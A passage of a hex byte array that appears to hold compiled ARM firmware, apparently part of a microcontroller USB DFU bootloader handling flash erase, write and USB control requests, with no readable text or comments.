0x5f, 0x81, 0xe6, 0xe0, 0x00, 0x28, 0x00, 0xf0, 0xd6, 0x81, 0x59, 0xe1,
0x09, 0x2e, 0x00, 0xf2, 0x57, 0x81, 0xdf, 0xe8, 0x16, 0xf0, 0x06, 0x01,
0x44, 0x01, 0x55, 0x01, 0x16, 0x01, 0x55, 0x01, 0xa9, 0x00, 0x0a, 0x00,
0x55, 0x01, 0xf9, 0x00, 0xc7, 0x00, 0x1a, 0x0a, 0x01, 0x3a, 0x06, 0x2a,
0x00, 0xf2, 0x46, 0x81, 0xdf, 0xe8, 0x12, 0xf0, 0x07, 0x00, 0x19, 0x00,
0x33, 0x00, 0x44, 0x01, 0x44, 0x01, 0x65, 0x00, 0x7a, 0x00, 0xd0, 0xf8,
0xcc, 0x34, 0x0d, 0xf1, 0x06, 0x01, 0x1b, 0x68, 0x80, 0x78, 0x98, 0x47,
0xbd, 0xf8, 0x0e, 0x30, 0x01, 0x46, 0x40, 0x2b, 0x03, 0xd0, 0x94, 0xf8,
0xe2, 0x30, 0x01, 0x2b, 0x6f, 0xd1, 0x08, 0x23, 0x5d, 0xe0, 0xd0, 0xf8,
0xc4, 0x24, 0x0d, 0xf1, 0x06, 0x01, 0xd8, 0xb2, 0x92, 0x6a, 0x90, 0x47,
0xa3, 0x78, 0x01, 0x46, 0x01, 0x2b, 0x09, 0xd1, 0x20, 0x7a, 0x01, 0x28,
0x06, 0xd1, 0xd4, 0xf8, 0xc4, 0x34, 0x0d, 0xf1, 0x06, 0x01, 0xdb, 0x6a,
0x98, 0x47, 0x01, 0x46, 0x02, 0x23, 0x4b, 0x70, 0xc4, 0xf8, 0xd0, 0x14,
0x53, 0xe0, 0xd9, 0xb2, 0x03, 0x29, 0x80, 0x78, 0x15, 0xd0, 0x06, 0xd8,
0x01, 0x29, 0xd4, 0xf8, 0xcc, 0x34, 0x08, 0xd0, 0x0d, 0xd8, 0x5b, 0x68,
0x06, 0xe0, 0x05, 0x29, 0x13, 0xd0, 0x0e, 0xd3, 0xee, 0x29, 0x14, 0xd0,
0x18, 0xe0, 0x9b, 0x68, 0x0d, 0xf1, 0x06, 0x01, 0x98, 0x47, 0x01, 0x46,
0x3b, 0xe0, 0xdb, 0x68, 0xf8, 0xe7, 0xd4, 0xf8, 0xcc, 0x34, 0x1b, 0x69,
0xf4, 0xe7, 0xd4, 0xf8, 0xcc, 0x34, 0x5b, 0x69, 0xf0, 0xe7, 0xd4, 0xf8,
0xcc, 0x34, 0x9b, 0x69, 0xec, 0xe7, 0xd4, 0xf8, 0xcc, 0x34, 0xdb, 0x69,
0x00, 0x2b, 0xe7, 0xd1, 0xd4, 0xf8, 0xc4, 0x34, 0x0d, 0xf1, 0x06, 0x02,
0x1b, 0x6b, 0x98, 0x47, 0xe3, 0xe7, 0x80, 0x78, 0x00, 0x28, 0x40, 0xf0,
0xdb, 0x80, 0xd4, 0xf8, 0xc4, 0x34, 0x0d, 0xf1, 0x06, 0x01, 0x9b, 0x6a,
0x98, 0x47, 0xa9, 0x49, 0x83, 0x7b, 0x0b, 0x71, 0xc3, 0x7b, 0x4b, 0x71,
0x03, 0x7c, 0x8b, 0x71, 0x0a, 0x23, 0xad, 0xf8, 0x06, 0x30, 0x0c, 0xe0,
0x80, 0x78, 0x00, 0x28, 0x40, 0xf0, 0xc6, 0x80, 0xd4, 0xf8, 0xc4, 0x34,
0x0d, 0xf1, 0x06, 0x01, 0xdb, 0x6a, 0x98, 0x47, 0x01, 0x46, 0x07, 0x23,
0x43, 0x70, 0xbd, 0xf8, 0x06, 0x30, 0x00, 0x2b, 0x00, 0xf0, 0x33, 0x81,
0xbd, 0xf8, 0x0e, 0x20, 0x00, 0x2a, 0x00, 0xf0, 0x2e, 0x81, 0x9a, 0x42,
0x28, 0xbf, 0x1a, 0x46, 0x20, 0x46, 0xad, 0xf8, 0x06, 0x20, 0x1b, 0xe1,
0x00, 0x2d, 0x40, 0xf0, 0xa9, 0x80, 0x00, 0x2a, 0x40, 0xf0, 0xa6, 0x80,
0x03, 0xf0, 0x7f, 0x05, 0x90, 0xf8, 0xe2, 0x30, 0x03, 0x2b, 0x00, 0xf0,
0x9f, 0x80, 0x01, 0x69, 0x80, 0xf8, 0xe4, 0x50, 0x0b, 0x68, 0x65, 0xf3,
0x0a, 0x12, 0x1a, 0x43, 0x0a, 0x60, 0x00, 0xf0, 0x7f, 0xfb, 0x0d, 0xb1,
0x02, 0x23, 0x00, 0xe0, 0x01, 0x23, 0x84, 0xf8, 0xe2, 0x30, 0x08, 0xe1,
0xd9, 0xb2, 0x86, 0x4d, 0x01, 0x29, 0x29, 0x70, 0x00, 0xf2, 0x88, 0x80,
0x90, 0xf8, 0xe2, 0x30, 0x02, 0x2b, 0x02, 0xd0, 0x03, 0x2b, 0x0e, 0xd0,
0x80, 0xe0, 0x41, 0xb1, 0x01, 0x21, 0x03, 0x23, 0x80, 0xf8, 0xe0, 0x10,
0x80, 0xf8, 0xe2, 0x30, 0x20, 0x46, 0x00, 0xf0, 0x11, 0xfe, 0x20, 0x46,
0x00, 0xf0, 0x5e, 0xfb, 0xed, 0xe0, 0x49, 0xb9, 0x02, 0x23, 0x80, 0xf8,
0xe2, 0x30, 0xd0, 0xf8, 0xc4, 0x34, 0x80, 0xf8, 0xe0, 0x10, 0x5b, 0x68,
0x98, 0x47, 0xf0, 0xe7, 0x90, 0xf8, 0xe0, 0x10, 0x01, 0x29, 0xec, 0xd0,
0xd0, 0xf8, 0xc4, 0x34, 0x5b, 0x68, 0x98, 0x47, 0x29, 0x78, 0x84, 0xf8,
0xe0, 0x10, 0xe1, 0xe7, 0x01, 0x2a, 0x59, 0xd1, 0x90, 0xf8, 0xe2, 0x30,
0x02, 0x2b, 0x04, 0xd0, 0x03, 0x2b, 0x53, 0xd1, 0x00, 0xf1, 0xe0, 0x01,
0xc0, 0xe0, 0x69, 0x49, 0xbe, 0xe0, 0x90, 0xf8, 0xe2, 0x30, 0x02, 0x3b,
0x01, 0x2b, 0x49, 0xd8, 0x66, 0x4b, 0x01, 0x22, 0x1a, 0x60, 0xd0, 0xf8,
0xe8, 0x20, 0x0a, 0xb1, 0x03, 0x22, 0x1a, 0x60, 0x20, 0x46, 0x62, 0x49,
0xad, 0xe0, 0x01, 0x2b, 0x08, 0xd1, 0xc4, 0xf8, 0xe8, 0x30, 0xd4, 0xf8,
0xc4, 0x34, 0x20, 0x46, 0x9b, 0x68, 0x02, 0xa9, 0x98, 0x47, 0xbc, 0xe7,
0x02, 0x2b, 0x40, 0xf0, 0xac, 0x80, 0x15, 0xf0, 0xff, 0x0f, 0x40, 0xf0,
0xa8, 0x80, 0x03, 0x69, 0x2d, 0x0a, 0x01, 0x3d, 0x5b, 0x68, 0x04, 0x2d,
0x0f, 0xd8, 0xdf, 0xe8, 0x05, 0xf0, 0x03, 0x05, 0x07, 0x09, 0x0b, 0x00,
0x01, 0x22, 0x06, 0xe0, 0x02, 0x22, 0x04, 0xe0, 0x03, 0x22, 0x02, 0xe0,
0x04, 0x22, 0x00, 0xe0, 0x05, 0x22, 0x62, 0xf3, 0x06, 0x13, 0x4e, 0x4a,
0x13, 0x60, 0x01, 0x23, 0x84, 0xf8, 0xe6, 0x30, 0x99, 0xe7, 0x90, 0xf8,
0xe2, 0x20, 0x02, 0x3a, 0x01, 0x2a, 0x0b, 0xd8, 0x01, 0x2b, 0x40, 0xf0,
0x84, 0x80, 0x00, 0x23, 0xc9, 0xe7, 0x90, 0xf8, 0xe2, 0x30, 0x03, 0x2b,
0x75, 0xd1, 0xed, 0xb2, 0x0a, 0x2d, 0x01, 0xd9, 0x20, 0x46, 0x70, 0xe0,
0xd0, 0xf8, 0xc4, 0x34, 0x02, 0xa9, 0x9b, 0x68, 0x98, 0x47, 0xbd, 0xf8,
0x0e, 0x30, 0x00, 0x2b, 0x6f, 0xd1, 0x7c, 0xe7, 0x01, 0x2e, 0xe9, 0xb2,
0x0f, 0xd0, 0x3b, 0xd3, 0x03, 0x2e, 0x68, 0xd1, 0x90, 0xf8, 0xe2, 0x20,
0x02, 0x2a, 0x3c, 0xd0, 0x03, 0x2a, 0x5a, 0xd1, 0x00, 0x2b, 0xaa, 0xd1,
0x4a, 0x06, 0xa8, 0xd0, 0x01, 0xf0, 0x5f, 0xfb, 0xa5, 0xe7, 0x90, 0xf8,
0xe2, 0x20, 0x02, 0x2a, 0x2f, 0xd0, 0x03, 0x2a, 0x4d, 0xd1, 0x00, 0x2b,
0x53, 0xd1, 0x11, 0xf0, 0x7f, 0x02, 0x3f, 0xf4, 0x5e, 0xaf, 0x28, 0x23,
0x11, 0xf0, 0x80, 0x0f, 0x15, 0xbf, 0x03, 0xfb, 0x02, 0x03, 0x03, 0xfb,
0x01, 0x03, 0xec, 0x33, 0x03, 0xf5, 0x33, 0x73, 0x00, 0x20, 0xc9, 0x09,
0x1a, 0x70, 0x98, 0x70, 0x59, 0x70, 0x04, 0xeb, 0x82, 0x02, 0x09, 0xb1,
0x91, 0x69, 0x00, 0xe0, 0x91, 0x6c, 0xdb, 0x78, 0x0a, 0x68, 0x02, 0x3b,
0x6f, 0xf3, 0x55, 0x52, 0x01, 0x2b, 0x98, 0xbf, 0x42, 0xf0, 0x80, 0x52,
0x0a, 0x60, 0x78, 0xe7, 0x90, 0xf8, 0xe2, 0x30, 0x02, 0x2b, 0x02, 0xd0,
0x03, 0x2b, 0x03, 0xd0, 0x1f, 0xe0, 0x4b, 0x06, 0x25, 0xd0, 0x22, 0xe0,
0x15, 0xf0, 0x80, 0x0f, 0x4f, 0xf0, 0x28, 0x00, 0x16, 0x4a, 0x0d, 0xd0,
0x01, 0xf0, 0x7f, 0x03, 0x00, 0xfb, 0x03, 0x41, 0x91, 0xf8, 0xee, 0x30,
0x0b, 0xb1, 0x01, 0x23, 0x00, 0xe0, 0x00, 0x23, 0x13, 0x60, 0x20, 0x46,
0x0f, 0x49, 0x04, 0xe0, 0x00, 0xfb, 0x01, 0x41, 0x91, 0xf8, 0xce, 0x32,
0xf2, 0xe7, 0x02, 0x22, 0x00, 0xf0, 0x86, 0xfa, 0x07, 0xe0, 0x02, 0xa9,
0x00, 0xf0, 0x8f, 0xfa, 0x03, 0xe0, 0x01, 0xf0, 0x80, 0x01, 0x01, 0xf0,
0x02, 0xfb, 0x00, 0x20, 0x05, 0xb0, 0xf0, 0xbd, 0xb4, 0x00, 0x00, 0x20,
0x08, 0x02, 0x00, 0x20, 0x10, 0x02, 0x00, 0x20, 0x04, 0x02, 0x00, 0x20,
0x1c, 0x02, 0x00, 0x20, 0x0c, 0x02, 0x00, 0x20, 0x78, 0x23, 0x58, 0x43,
0x07, 0x23, 0xb0, 0xfb, 0xf3, 0xf0, 0x00, 0x23, 0x01, 0x33, 0x83, 0x42,
0xfc, 0xd9, 0x70, 0x47, 0x38, 0xb5, 0x12, 0x4b, 0x05, 0x46, 0x5a, 0x69,
0x11, 0x4c, 0xd2, 0x07, 0x41, 0xbf, 0x11, 0x4a, 0x9a, 0x60, 0x02, 0xf1,
0x44, 0x32, 0x9a, 0x60, 0xf3, 0x22, 0xda, 0x60, 0x01, 0xf0, 0x40, 0xfc,
0x08, 0x28, 0x08, 0xbf, 0x20, 0x88, 0x0c, 0x4a, 0x02, 0xbf, 0x28, 0x43,
0x80, 0xb2, 0x20, 0x80, 0x13, 0x78, 0x43, 0xf0, 0x02, 0x03, 0x13, 0x70,
0x01, 0xf0, 0x32, 0xfc, 0x03, 0x4a, 0x53, 0x69, 0x43, 0xf0, 0x01, 0x03,
0x53, 0x61, 0x23, 0x88, 0x38, 0xbd, 0x00, 0xbf, 0x00, 0x3c, 0x02, 0x40,
0x16, 0x3c, 0x02, 0x40, 0x3b, 0x2a, 0x19, 0x08, 0x14, 0x3c, 0x02, 0x40,
0x1f, 0xb5, 0x04, 0x46, 0x40, 0xf6, 0x24, 0x30, 0x01, 0xf0, 0x3c, 0xfe,
0x40, 0xf6, 0xac, 0x72, 0x01, 0x88, 0x03, 0x46, 0x91, 0x42, 0x0a, 0xd1,
0xd9, 0x68, 0xda, 0x78, 0x80, 0x78, 0x00, 0x91, 0x59, 0x7c, 0x01, 0x91,
0x19, 0x7c, 0x02, 0x91, 0x59, 0x68, 0x9b, 0x68, 0x09, 0xe0, 0x4f, 0xf4,
0x00, 0x21, 0x04, 0x22, 0x0e, 0x23, 0x00, 0x20, 0x8d, 0xe8, 0x0e, 0x00,
0x02, 0x46, 0x02, 0x49, 0x02, 0x4b, 0xa0, 0x47, 0x04, 0xb0, 0x10, 0xbd,
0x00, 0x00, 0x08, 0x08, 0x00, 0x00, 0x02, 0x08, 0x2d, 0xe9, 0xf0, 0x4f,
0x89, 0xb0, 0x9d, 0xf8, 0x4c, 0x40, 0x12, 0x9e, 0x01, 0x94, 0x9d, 0xf8,
0x50, 0x40, 0x00, 0x96, 0x02, 0x94, 0x05, 0x90, 0x88, 0x46, 0x06, 0x92,
0x1d, 0x46, 0x00, 0xf0, 0x07, 0xfd, 0x07, 0x46, 0x00, 0x28, 0x00, 0xf0,
0x84, 0x80, 0x00, 0x2e, 0x00, 0xf0, 0x8b, 0x80, 0x06, 0x9b, 0x00, 0x2b,
0x7d, 0xd1, 0x28, 0x46, 0x00, 0xf0, 0xc8, 0xfd, 0x01, 0x30, 0x80, 0xb2,
0x04, 0x28, 0x95, 0xbf, 0x42, 0x4b, 0x40, 0x04, 0x53, 0xf8, 0x20, 0x40,
0x00, 0xf1, 0xff, 0x64, 0x64, 0x1b, 0xb4, 0x42, 0x28, 0xbf, 0x34, 0x46,
0xb5, 0xf1, 0x00, 0x6f, 0x04, 0xeb, 0x05, 0x0a, 0x0a, 0xf1, 0xff, 0x3b,
0x65, 0xd3, 0xbb, 0xf1, 0x01, 0x6f, 0x62, 0xd8, 0x28, 0x46, 0x00, 0xf0,
0xad, 0xfd, 0x38, 0x4b, 0x1b, 0x5c, 0x58, 0x2b, 0x04, 0x93, 0x5a, 0xd8,
0xbb, 0xf1, 0x01, 0x6f, 0x08, 0xd9, 0x01, 0xf0, 0x47, 0xfc, 0xc4, 0xf3,
0x10, 0x02, 0x63, 0x0c, 0x1a, 0xb3, 0x03, 0xf1, 0x01, 0x0b, 0x21, 0xe0,
0x01, 0x22, 0x02, 0xfa, 0x00, 0xf3, 0x1f, 0xfa, 0x83, 0xf9, 0x58, 0x46,
0x07, 0x92, 0x00, 0xf0, 0x93, 0xfd, 0xb9, 0xf1, 0x00, 0x0f, 0xea, 0xd0,
0x07, 0x9a, 0x82, 0x40, 0x52, 0x00, 0x1f, 0xfa, 0x82, 0xfb, 0x19, 0xea,
0x0b, 0x0f, 0xe2, 0xd1, 0x26, 0x49, 0x09, 0x88, 0x19, 0xea, 0x01, 0x0f,
0x02, 0xd1, 0x48, 0x46, 0xff, 0xf7, 0x44, 0xff, 0x4f, 0xea, 0x49, 0x03,
0x1f, 0xfa, 0x83, 0xf9, 0xef, 0xe7, 0x9b, 0x46, 0x20, 0x4a, 0xf3, 0x21,
0xd1, 0x60, 0x00, 0x22, 0x5a, 0x45, 0x0b, 0xd0, 0x04, 0x9b, 0x02, 0x21,
0x03, 0xeb, 0xc2, 0x00, 0x07, 0x92, 0x01, 0xf0, 0xd3, 0xfb, 0x08, 0x28,
0x1d, 0xd1, 0x07, 0x9a, 0x01, 0x32, 0xf1, 0xe7, 0x01, 0xf0, 0x02, 0xfc,
0xc3, 0x46, 0x01, 0xf0, 0x07, 0xfc, 0x04, 0xeb, 0x08, 0x09, 0xc8, 0xeb,
0x05, 0x00, 0xcb, 0x45, 0x58, 0x44, 0x04, 0xd2, 0x05, 0x9b, 0x73, 0xb9,
0xdb, 0xf8, 0x00, 0x10, 0x0c, 0xe0, 0x01, 0x25, 0x00, 0xe0, 0x00, 0x25,
0x01, 0xf0, 0xee, 0xfb, 0x1d, 0xb1, 0x36, 0x1b, 0x55, 0x46, 0xc8, 0x46,
0x7b, 0xe7, 0x00, 0x27, 0x07, 0xe0, 0x00, 0x21, 0x01, 0xf0, 0x90, 0xfb,
0x08, 0x28, 0xf0, 0xd1, 0x0b, 0xf1, 0x04, 0x0b, 0xe1, 0xe7, 0x38, 0x46,
0x09, 0xb0, 0xbd, 0xe8, 0xf0, 0x8f, 0x00, 0xbf, 0xc4, 0x39, 0x00, 0x08,
0x76, 0x3a, 0x00, 0x08, 0x16, 0x3c, 0x02, 0x40, 0x00, 0x3c, 0x02, 0x40,
0x00, 0x20, 0x70, 0x47, 0x00, 0x20, 0x70, 0x47, 0x00, 0xf1, 0x78, 0x40,
0xb0, 0xf5, 0x80, 0x1f, 0x34, 0xbf, 0x00, 0x20, 0x01, 0x20, 0x70, 0x47,
0x03, 0x46, 0x30, 0xb5, 0x1a, 0x1a, 0x8a, 0x42, 0x07, 0xd2, 0x05, 0x4d,
0x53, 0xf8, 0x04, 0x4b, 0x52, 0x59, 0xa2, 0x42, 0xf6, 0xd0, 0x01, 0x20,
0x30, 0xbd, 0x00, 0x20, 0x30, 0xbd, 0x00, 0xbf, 0x18, 0x03, 0x00, 0x20,
0x70, 0x47, 0x00, 0x20, 0x70, 0x47, 0x00, 0x20, 0x70, 0x47, 0x00, 0x00,
0x24, 0x23, 0x0b, 0x80, 0x00, 0x48, 0x70, 0x47, 0xe8, 0x00, 0x00, 0x20,
0x24, 0x23, 0x0b, 0x80, 0x00, 0x48, 0x70, 0x47, 0xbe, 0x00, 0x00, 0x20,
0x00, 0x20, 0x70, 0x47, 0x10, 0xb5, 0x08, 0x4b, 0x1a, 0x68, 0x1c, 0x46,
0x52, 0x68, 0x02, 0xb1, 0x90, 0x47, 0x63, 0x68, 0x5b, 0x68, 0x03, 0xb1,
0x98, 0x47, 0x04, 0x4a, 0x02, 0x23, 0x13, 0x70, 0x03, 0x4a, 0x00, 0x20,
0x13, 0x71, 0x10, 0xbd, 0x78, 0x01, 0x00, 0x20, 0x2c, 0x02, 0x00, 0x20,
0xf0, 0x18, 0x00, 0x20, 0x08, 0xb5, 0xd0, 0xf8, 0xc4, 0x34, 0x5b, 0x6a,
0x98, 0x47, 0x00, 0x20, 0x08, 0xbd, 0x08, 0xb5, 0xd0, 0xf8, 0xc4, 0x34,
0x1b, 0x6a, 0x98, 0x47, 0x00, 0x20, 0x08, 0xbd, 0x08, 0xb5, 0xd0, 0xf8,
0xc4, 0x34, 0xdb, 0x69, 0x03, 0xb1, 0x98, 0x47, 0x00, 0x20, 0x08, 0xbd,
0x08, 0xb5, 0x90, 0xf8, 0xe2, 0x30, 0x80, 0xf8, 0xe3, 0x30, 0x04, 0x23,
0x80, 0xf8, 0xe2, 0x30, 0xd0, 0xf8, 0xc8, 0x34, 0x0b, 0xb1, 0xdb, 0x68,
0x98, 0x47, 0x00, 0x20, 0x08, 0xbd, 0x10, 0xb5, 0xd0, 0xf8, 0xc8, 0x34,
0x04, 0x46, 0x0b, 0xb1, 0x1b, 0x69, 0x98, 0x47, 0x03, 0x23, 0x84, 0xf8,
0xe2, 0x30, 0x00, 0x20, 0x10, 0xbd, 0x00, 0x00, 0x0f, 0x29, 0x08, 0xb5,
0x08, 0xd8, 0x8b, 0x1f, 0x04, 0x49, 0x51, 0xf8, 0x23, 0x00, 0x11, 0x46,
0x01, 0xf0, 0x8e, 0xf8, 0x02, 0x48, 0x08, 0xbd, 0x00, 0x20, 0x08, 0xbd,
0xdc, 0x39, 0x00, 0x08, 0x18, 0x13, 0x00, 0x20, 0x38, 0xb5, 0x04, 0x46,
0x00, 0x29, 0x4f, 0xd1, 0x90, 0xf8, 0xe1, 0x30, 0x02, 0x2b, 0x3f, 0xd1,
0xd0, 0xf8, 0x08, 0x21, 0xd0, 0xf8, 0xf4, 0x30, 0x9a, 0x42, 0x11, 0xd9,
0xc1, 0x78, 0xd2, 0x1a, 0x01, 0x29, 0x08, 0xbf, 0xd0, 0xf8, 0xf8, 0x10,
0xc0, 0xf8, 0x08, 0x21, 0x04, 0xbf, 0x5b, 0x18, 0xc0, 0xf8, 0xf8, 0x30,
0xd4, 0xf8, 0xf8, 0x10, 0x92, 0xb2, 0x01, 0xf0, 0x87, 0xf8, 0x27, 0xe0,
0xd0, 0xf8, 0x0c, 0x21, 0xb2, 0xfb, 0xf3, 0xf5, 0x03, 0xfb, 0x15, 0x25,
0x5d, 0xb9, 0x9a, 0x42, 0x09, 0xd3, 0xd0, 0xf8, 0x10, 0x31, 0x9a, 0x42,
0x05, 0xd2, 0x2a, 0x46, 0x01, 0xf0, 0x76, 0xf8, 0xc4, 0xf8, 0x10, 0x51,
0x14, 0xe0, 0xd4, 0xf8, 0xc4, 0x34, 0xdb, 0x68, 0x2b, 0xb1, 0x94, 0xf8,
0xe2, 0x20, 0x03, 0x2a, 0x01, 0xd1, 0x20, 0x46, 0x98, 0x47, 0x05, 0x23,
0x00, 0x21, 0x84, 0xf8, 0xe1, 0x30, 0x20, 0x46, 0x0a, 0x46, 0x01, 0xf0,
0x76, 0xf8, 0x20, 0x46, 0x01, 0xf0, 0x5c, 0xf9, 0x94, 0xf8, 0xe6, 0x30,
0x01, 0x2b, 0x10, 0xd1, 0x09, 0x4a, 0x23, 0x69, 0x12, 0x68, 0x5a, 0x60,
0x00, 0x23, 0x84, 0xf8, 0xe6, 0x30, 0x08, 0xe0, 0xd0, 0xf8, 0xc4, 0x34,
0x5b, 0x69, 0x23, 0xb1, 0x90, 0xf8, 0xe2, 0x20, 0x03, 0x2a, 0x00, 0xd1,
0x98, 0x47, 0x00, 0x20, 0x38, 0xbd, 0x00, 0xbf, 0x1c, 0x02, 0x00, 0x20,
0xf8, 0xb5, 0x04, 0x46, 0x00, 0x25, 0x40, 0x27, 0x00, 0xf5, 0x33, 0x71,
0x01, 0x26, 0x80, 0xf8, 0xcc, 0x52, 0x80, 0xf8, 0xcd, 0x52, 0xc0, 0xf8,
0xd4, 0x72, 0x80, 0xf8, 0xcf, 0x52, 0x01, 0xf0, 0x52, 0xf9, 0x84, 0xf8,
0xec, 0x50, 0x84, 0xf8, 0xed, 0x60, 0xc4, 0xf8, 0xf4, 0x70, 0x84, 0xf8,
0xef, 0x50, 0xa4, 0xf8, 0xf2, 0x50, 0x20, 0x46, 0x04, 0xf1, 0xec, 0x01,
0x01, 0xf0, 0x43, 0xf9, 0xd4, 0xf8, 0xc8, 0x34, 0x84, 0xf8, 0xe2, 0x60,
0x13, 0xb1, 0x5b, 0x68, 0xa0, 0x78, 0x98, 0x47, 0x00, 0x20, 0xf8, 0xbd,
0x08, 0xb5, 0x05, 0x4b, 0x53, 0xf8, 0x20, 0x30, 0x08, 0x46, 0xdb, 0x69,
0x98, 0x47, 0x00, 0x30, 0x18, 0xbf, 0x01, 0x20, 0x08, 0xbd, 0x00, 0xbf,
0x78, 0x01, 0x00, 0x20, 0x10, 0xb5, 0x06, 0x4b, 0x1a, 0x68, 0x1c, 0x46,
0x92, 0x68, 0x02, 0xb1, 0x90, 0x47, 0x63, 0x68, 0x9b, 0x68, 0x03, 0xb1,
0x98, 0x47, 0x00, 0x20, 0x10, 0xbd, 0x00, 0xbf, 0x78, 0x01, 0x00, 0x20,
0x07, 0x4a, 0x02, 0x23, 0x10, 0xb5, 0x13, 0x70, 0x06, 0x4a, 0x00, 0x24,
0x13, 0x71, 0x06, 0x4b, 0x1c, 0x60, 0x06, 0x4b, 0x1c, 0x60, 0xff, 0xf7,
0xe3, 0xff, 0x20, 0x46, 0x10, 0xbd, 0x00, 0xbf, 0x2c, 0x02, 0x00, 0x20,
0xf0, 0x18, 0x00, 0x20, 0x20, 0x02, 0x00, 0x20, 0x18, 0x02, 0x00, 0x20,
0x10, 0xb5, 0x04, 0x46, 0x04, 0x23, 0x00, 0x21, 0x80, 0xf8, 0xe1, 0x30,
0x0a, 0x46, 0x00, 0xf0, 0xdb, 0xff, 0x20, 0x46, 0x01, 0xf0, 0xd6, 0xf8,
0x00, 0x20, 0x10, 0xbd, 0x03, 0x46, 0x10, 0xb5, 0x02, 0x24, 0xc3, 0xf8,
0x0c, 0x21, 0xc3, 0xf8, 0x08, 0x21, 0x80, 0xf8, 0xe1, 0x40, 0x00, 0xf0,
0xcb, 0xff, 0x00, 0x20, 0x10, 0xbd, 0x10, 0xb5, 0x04, 0x46, 0x80, 0x21,
0x01, 0xf0, 0x73, 0xf8, 0x20, 0x46, 0x00, 0x21, 0x01, 0xf0, 0x6f, 0xf8,
0x20, 0x46, 0xbd, 0xe8, 0x10, 0x40, 0x01, 0xf0, 0xb9, 0xb8, 0x00, 0x00,
0x2d, 0xe9, 0xf0, 0x4f, 0x60, 0x4b, 0x85, 0xb0, 0x1a, 0x78, 0x80, 0x46,
0x04, 0x2a, 0x1f, 0x46, 0x40, 0xf0, 0x9e, 0x80, 0x5d, 0x4e, 0x5e, 0x4d,
0x33, 0x68, 0x01, 0x96, 0x00, 0x2b, 0x4b, 0xd1, 0x5c, 0x4b, 0x1a, 0x78,
0x1a, 0xb9, 0x2b, 0x68, 0x01, 0x2b, 0x3a, 0xd1, 0x87, 0xe0, 0x21, 0x2a,
0x0f, 0xd1, 0x2a, 0x68, 0x05, 0x2a, 0x34, 0xd1, 0xda, 0x78, 0x99, 0x78,
0x12, 0x04, 0x02, 0xeb, 0x01, 0x21, 0x5a, 0x78, 0x1b, 0x79, 0x0a, 0x44,
0x02, 0xeb, 0x03, 0x63, 0x52, 0x4a, 0x13, 0x60, 0x75, 0xe0, 0x41, 0x2a,
0x25, 0xd1, 0x2a, 0x68, 0x05, 0x2a, 0x22, 0xd1, 0xda, 0x78, 0x9c, 0x78,
0x12, 0x04, 0x02, 0xeb, 0x04, 0x22, 0x5c, 0x78, 0x22, 0x44, 0x1c, 0x79,
0x4a, 0x4b, 0x02, 0xeb, 0x04, 0x64, 0x1c, 0x60, 0x49, 0x4b, 0x21, 0x46,
0x1e, 0x68, 0x30, 0x46, 0xff, 0xf7, 0x60, 0xff, 0x78, 0xb9, 0x04, 0xf1,
0x78, 0x43, 0xb3, 0xf5, 0x00, 0x3f, 0x0a, 0xd3, 0x01, 0x2e, 0x08, 0xd8,
0x43, 0x4b, 0x53, 0xf8, 0x26, 0x30, 0xdb, 0x68, 0x1b, 0xb1, 0x20, 0x46,
0x98, 0x47, 0x00, 0x28, 0x4d, 0xd0, 0x00, 0x23, 0x8d, 0xf8, 0x08, 0x30,
0x40, 0x46, 0x01, 0x23, 0x02, 0xa9, 0xad, 0xf8, 0x0e, 0x30, 0xff, 0xf7,
0x96, 0xff, 0x42, 0xe0, 0x01, 0x2b, 0x40, 0xd9, 0x36, 0x4a, 0x03, 0xf5,
0x7f, 0x23, 0x14, 0x68, 0x03, 0xf6, 0xfe, 0x73, 0x04, 0xeb, 0x03, 0x34,
0x33, 0x4b, 0x21, 0x46, 0x1e, 0x68, 0xd5, 0xf8, 0x00, 0xa0, 0x30, 0x46,
0xff, 0xf7, 0x32, 0xff, 0x00, 0x28, 0xe0, 0xd1, 0x04, 0xf1, 0x78, 0x43,
0xb3, 0xf5, 0x00, 0x3f, 0xdb, 0xd3, 0x01, 0x2e, 0xd9, 0xd8, 0x2c, 0x4b,
0x53, 0xf8, 0x26, 0x10, 0x99, 0x46, 0x09, 0x69, 0x00, 0x29, 0xd2, 0xd0,
0x4f, 0xf0, 0x03, 0x0b, 0x59, 0xf8, 0x26, 0x30, 0x20, 0x46, 0x1b, 0x69,
0x51, 0x46, 0x98, 0x47, 0x38, 0xb9, 0x59, 0xf8, 0x26, 0x30, 0x20, 0x46,
0x9b, 0x69, 0x51, 0x46, 0x98, 0x47, 0x50, 0xb9, 0x0f, 0xe0, 0x20, 0x4b,
0x20, 0x46, 0x53, 0xf8, 0x26, 0x30, 0x51, 0x46, 0x1b, 0x69, 0x98, 0x47,
0x00, 0x28, 0xee, 0xd0, 0xb7, 0xe7, 0x0b, 0xf1, 0xff, 0x33, 0x13, 0xf0,
0xff, 0x0b, 0xe1, 0xd1, 0xb1, 0xe7, 0x01, 0x9a, 0x00, 0x23, 0x13, 0x60,
0x17, 0x4a, 0x2b, 0x60, 0x03, 0x23, 0x3b, 0x70, 0x13, 0x71, 0x16, 0xe0,
0x07, 0x2a, 0x14, 0xd1, 0x14, 0x4a, 0x00, 0x21, 0x11, 0x60, 0x14, 0x4a,
0x52, 0x7f, 0x12, 0xf0, 0x04, 0x0f, 0x08, 0xbf, 0x08, 0x21, 0x0f, 0x4a,
0x05, 0xbf, 0x19, 0x70, 0x10, 0x4b, 0x06, 0x21, 0x11, 0x71, 0x0d, 0xbf,
0x4f, 0xf4, 0xfa, 0x72, 0x19, 0x70, 0x11, 0x71, 0x1a, 0x60, 0x00, 0x20,
0x05, 0xb0, 0xbd, 0xe8, 0xf0, 0x8f, 0x00, 0xbf, 0x2c, 0x02, 0x00, 0x20,
0x20, 0x02, 0x00, 0x20, 0x18, 0x02, 0x00, 0x20, 0x18, 0x03, 0x00, 0x20,
0xe4, 0x00, 0x00, 0x20, 0x24, 0x02, 0x00, 0x20, 0x78, 0x01, 0x00, 0x20,
0xf0, 0x18, 0x00, 0x20, 0x28, 0x02, 0x00, 0x20, 0xbe, 0x00, 0x00, 0x20,
0x14, 0x02, 0x00, 0x20, 0x4e, 0xf6, 0xc1, 0x62, 0x2d, 0xe9, 0xf0, 0x43,
0x0b, 0x88, 0x85, 0xb0, 0x93, 0x42, 0x06, 0x46, 0x0d, 0x46, 0x02, 0xd1,
0x8b, 0x88, 0x05, 0x2b, 0x05, 0xe0, 0x4e, 0xf6, 0xc0, 0x62, 0x93, 0x42,
0x1a, 0xd1, 0x8b, 0x88, 0x04, 0x2b, 0x17, 0xd1, 0xab, 0x88, 0x04, 0x2b,
